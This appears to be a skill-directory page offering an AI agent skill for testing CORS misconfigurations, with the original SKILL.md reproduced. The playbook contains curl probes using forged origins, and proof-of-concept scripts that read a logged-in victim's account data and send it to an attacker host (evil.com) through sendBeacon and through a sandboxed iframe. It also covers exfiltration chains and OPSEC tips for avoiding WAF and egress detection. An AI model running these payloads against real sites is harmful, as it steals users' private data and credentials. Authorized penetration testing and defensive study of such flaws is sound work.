cors
What it does
This skill walks the agent through testing a site's cross-origin sharing rules, called CORS. It is for security testers checking whether other websites can read a user's data.
When to use it
- βWhen you want to know if a site lets other domains read logged-in user data.
- βWhen a security review needs a check of the Access-Control-Allow-Origin header.
- βWhen an API returns private data and you need to confirm who is allowed to read it.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you test whether my API lets other websites read account data it should keep private?β
5 new skills a week. 1 minute to read.
How it works
The agent sends requests with different fake origin headers and checks which origins the server allows, especially when credentials are also allowed.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
CORS Misconfiguration Playbook
A permissive Access-Control-Allow-Origin (ACAO) becomes critical the moment it
is paired with Access-Control-Allow-Credentials: true (ACAC) β any origin the
server reflects can read authenticated responses (PII, API keys, CSRF tokens).
ACAO alone (no credentials) is usually Low unless the endpoint serves secrets to
unauthenticated requests.
1. Detection β probe origin reflection
# Reflected-origin + credentials = the critical case
for o in "https://evil.com" "null" "https://<TARGET>.evil.com" "https://evil.com.<TARGET>"; do
echo "== Origin: $o =="
curl -s -D- -o /dev/null "https://<TARGET>/api/account" -H "Origin: $o" \
| grep -i "access-control-allow-origin\|access-control-allow-credentials"
done
# Preflight behaviour (which methods/headers are allowed cross-origin)
curl -s -D- -o /dev/null -X OPTIONS "https://<TARGET>/api/account" \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: authorization" \
| grep -i "access-control-"
A response echoing Access-Control-Allow-Origin: https://evil.com and
Access-Control-Allow-Credentials: true confirms exploitable reflection.
2. Misconfiguration matrix
| Class | Server behaviour | Exploit origin |
|---|---|---|
| Origin reflection | ACAO echoes any Origin + ACAC true |
https://evil.com |
null allowed |
ACAO: null + ACAC true | sandboxed iframe / data:/file: (sends Origin: null) |
| Wildcard + creds (browser-blocked, but check tooling) | ACAO: * with secrets |
only if creds not required |
| Suffix match flaw | allows *target.com |
https://evil-target.com |
| Prefix match flaw | allows target.com* |
https://target.com.evil.com |
| Unescaped dot in regex | ^https://app.target.com$ |
https://appxtarget.com |
| Trusted subdomain + XSS | allows *.target.com |
XSS on any subdomain β same-site fetch |
| Pre-domain confusion | naive contains("target.com") |
https://target.com.evil.com, https://eviltarget.com |
3. Exploit PoC β credentialed cross-origin read
<!-- host on attacker origin; victim must be authenticated to <TARGET> -->
<script>
const url = "https://<TARGET>/api/account";
fetch(url, { credentials: "include" })
.then(r => r.text())
.then(data => navigator.sendBeacon("https://evil.com/collect", data));
</script>
For null-origin servers, deliver the same script inside a sandboxed iframe so
the browser sends Origin: null:
<iframe sandbox="allow-scripts allow-same-origin" srcdoc="
<script>fetch('https://<TARGET>/api/account',{credentials:'include'})
.then(r=>r.text()).then(d=>fetch('https://evil.com/c?d='+encodeURIComponent(d)));</script>">
</iframe>
4. Chains
- CORS β token theft β CSRF: steal the anti-CSRF token from a reflected JSON response, then forge state-changing requests that previously looked protected.
- Subdomain XSS β CORS: server trusts
*.target.com; an XSS (even DOM-only) on a forgotten subdomain runs in an allowed origin and reads the main API. - CORS β API key / PII exfil: any endpoint returning bearer tokens, account data, or internal config becomes a one-click mass-exfil primitive.
5. Tools
- Corsy β fast misconfiguration scanner (
python corsy.py -u https://<TARGET>) - CORScanner β origin-reflection + regex-flaw detection
- Burp Suite β CORS checks (active scan) + manual
Originfuzzing in Repeater
6. Detection signatures & OPSEC
| Indicator | Detection method | OPSEC note |
|---|---|---|
Repeated Origin: variants from one IP |
WAF / access-log anomaly | Throttle probes; reuse a single canary origin |
OPTIONS flood (preflight fuzzing) |
Rate-based WAF rule | Test one endpoint at a time |
| Beacon to external collector | Egress/DNS monitoring | Use an in-scope collector during authorized tests |
Decision Gate: CORS confirmed β exploitation
- ACAO reflects an attacker-controlled origin (or
null) - ACAC is
true(or the endpoint serves secrets without auth) - A sensitive response body is readable cross-origin
- PoC exfiltrates real data from an authenticated victim context
If all checked, escalate per
finding-protocol; otherwise downgrade to informational (ACAO without credentials/secrets).
FAQ
Is every CORS problem serious?
Not always. The skill says it is most serious when the site also allows credentials, since then other sites can read logged-in responses.
What does the agent look for in the response?
It looks at the Access-Control-Allow-Origin and Access-Control-Allow-Credentials headers that the server returns.
Can this skill be used on any site?
It should only be used on sites you have permission to test.
Details
Original description by the author
CORS misconfiguration exploitation β reflected origin, null origin, trusted-subdomain abuse, regex-validation bypass, and credentialed cross-origin data theft.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14055
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.